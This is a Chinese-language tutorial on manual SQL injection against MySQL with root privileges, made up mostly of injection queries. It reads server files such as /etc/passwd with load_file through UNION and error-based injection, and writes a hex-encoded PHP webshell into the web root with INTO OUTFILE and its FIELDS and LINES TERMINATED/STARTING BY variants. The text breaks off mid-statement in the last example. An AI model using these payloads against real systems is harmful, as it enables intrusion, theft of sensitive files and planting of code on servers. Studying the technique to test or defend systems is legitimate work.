sql手注高权限处理

基本高权限处理的思想是通过读写操作向web目录写文件或者写文件后结合文件包含漏洞达到代码执行的效果以及读取网站源码和配置信息,获取敏感数据。

mysql数据库处理条件(1.当前连接到数据库的用户是root权限2.明确网站物理路径)

1.确认当前权限以及确认数据库版本union select user(),database()。
2.[物理路径探测]:(https://blog.csdn.net/qq_38265674/article/details/111052907)
当数据库版本>5.5 , 通过查看secure-file-priv参数的值确认是否可以导出。
show global variables like '%secure%'
当该值为null时不允许mysqld(sql后台程序即mysql服务器)导入和导出;
值为/tmp/,限制导入导出只能发生在/tmp/目录下;
无具体值则表示无限制;

读文件

mysql读⽂件是⽤的 load_file() 函数:
select load_file('/etc/passwd'); select load_file(0x2F6574632F706173737764);
第二个为16进制表示;
联合查询加load_file读文件:
select * from user where id=-1 union select 1,'1',load_file('D:/1.php'))
(id=-1 使前面的查询不到然后不占显位。个人理解)
报错注入加load_file读文件:
select * from user where  username='' and updatexml(0,concat(0x7e,(load_file('D:/1.php')),0x7e))

写文件

into outfile写文件(文件不能覆盖写入,所以文件必须不存在)
FIELDS TERMINATED BY原理为在输出数据的每个字段之间插入webshell内容,所以如果select返回的只有一个字段,则写入的文件不包含webshell内容,例如下面语句SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e,写入的文件中只包含username的值而没有webshell内容;

LINES TERMINATED BY和LINES STARTING BY原理为在输出每条记录的结尾或开始处插入webshell内容,所以即使只查询一个字段也可以写入webshell内容,更为通用。此外,该类方式可以引用于limit等不能union的语句之后进行写文件操作。
1.union+写文件
SELECT * FROM user WHERE id = -1 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e
2.FIELDS TERMINATED BY(可在limit等语句后)
SELECT * FROM user WHERE id = 1 into outfile 'D:/1.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e
3.LINES TERMINATED BY(可用于limit等sql注入)
SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
4.LINES STARTING BY(可用于limit等sql注入)
SELECT username FROM user WHERE id = 1 into outfile 'D:/2.php' LINES STARTING  BY